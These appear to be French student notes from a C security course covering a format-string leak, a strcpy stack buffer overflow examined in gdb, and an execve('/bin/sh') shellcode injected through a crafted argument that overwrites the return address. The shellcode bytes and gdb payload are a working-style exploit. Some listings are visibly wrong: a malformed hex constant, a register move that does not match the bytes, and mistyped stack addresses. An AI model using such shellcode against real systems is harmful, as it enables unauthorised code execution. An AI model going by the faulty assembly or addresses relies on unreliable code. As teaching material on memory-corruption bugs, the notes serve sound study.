

24-03-2025

Pour le projet, on peut utiliser du C version C89 à C23

C c

```
1  #include <stdio.h>
2  #include <stdlib.h>
3
4  int main (int argc, char **argv) {
5
6      printf("%s\n", argv[1]);
7      return EXIT_SUCCESS;
8  }
```

`segfault` → Tenter de lire ou écrire une zone de la RAM sans l'autorisation

Problème avec ce code :

1. `./coucou '$coucou\00'` apres → faille car il ne print que coucou et pas 'après'
2. `"%d"` → `-1227566232` il affiche le truc qui est dans le registre
3. `"%d%d"` → `-1227566232 -1227566488` il affiche les deux adresses
4. `"%p"` → `0x7fff...a8` il affiche l'adresse - elle change à chaque exécution
5. `"%g"` → affiche 0
6. `"%u"` → adresse au format décimale
7. `"%e"` → adresse au format exponentielle
8. `"%s"` → dump de la RAM - l'adresse
9. `"%s %s %s %s %s %s %s %s..."` → out of boundary error - potentiellement exploitable

C c

```
1  #include <string.h>
2  #include <stdlib.h>
3  #include <stdio.h>
4
5  int main (int argc, char **argv) {
6      char buf[32];
7      strcpy(buf, argv[1]);
8
9      printf("Your username is: %s\n", buf);
10     return EXIT_SUCCESS;
11 }
```

Si `buf` est plus grand que 32 caractères

`x/16a $rsp` examine stack pointeur 16 * 64 bits

Faire un stack overflow

Gdb

```
1  b main
2  r "$(python -c 'print("A" * (35))')'"
3  p main
4  r "$(python -c 'print("A" * (32 + 8) + "IQUUUU")')'"
5  n
6  n
7  x/16a $rsp
```

```
(gdb) x/16a $rsp
0x7fffffffddc90: 0x7fffffffddd8 0x200000000
0x7fffffffddca0: 0x0          0x7ffff7fe6ea0 <dl_main>
0x7fffffffddcb0: 0x0          0x7ffff7ffdad0 <_rtld_global+2736>
0x7fffffffddcc0: 0x2          0x7ffff7e0224a <__libc_start_call_main+122>
0x7fffffffddcd0: 0x7fffffffddc0 0x555555555149 <main>
0x7fffffffddce0: 0x255554040   0x7fffffffddd8
0x7fffffffddcf0: 0x7fffffffddd8 0xe53e50a15fa58536
0x7fffffffdd00: 0x0          0x7fffffffddf0
```

Et si on mettait "0x7fffffffddca0" au lieu de "A" ?

Asm

```
1  global main
2  main:
3      xor rax, rax
4      push rax
5      mov rcx, 0x68732f6e669622f2f
6      push rcx
7      mov rdi, rsi
8      mov rsi, rsp
9      mov rdx, rax
10     mov al, 59
11     syscall      ; sys-execve(char * filename rdi, char* argv[] rsi, envp[]
rdx)
```

```
(gdb) r "$(python -c  
'__import__'("sys").stdout.buffer.write(b"\x48\x31\xc0\x50\x48\xb9\x2f\x2f\x62\x  
69\x6e\x2f\x73\x68\x51\x48\x89\xe7\x48\x89\xc6\x48\x89\xc2\xb0\x3b\x0f\x05AAAAA  
AAAAAAA\x40\xdb\xff\xff\xff\x7f"))')
```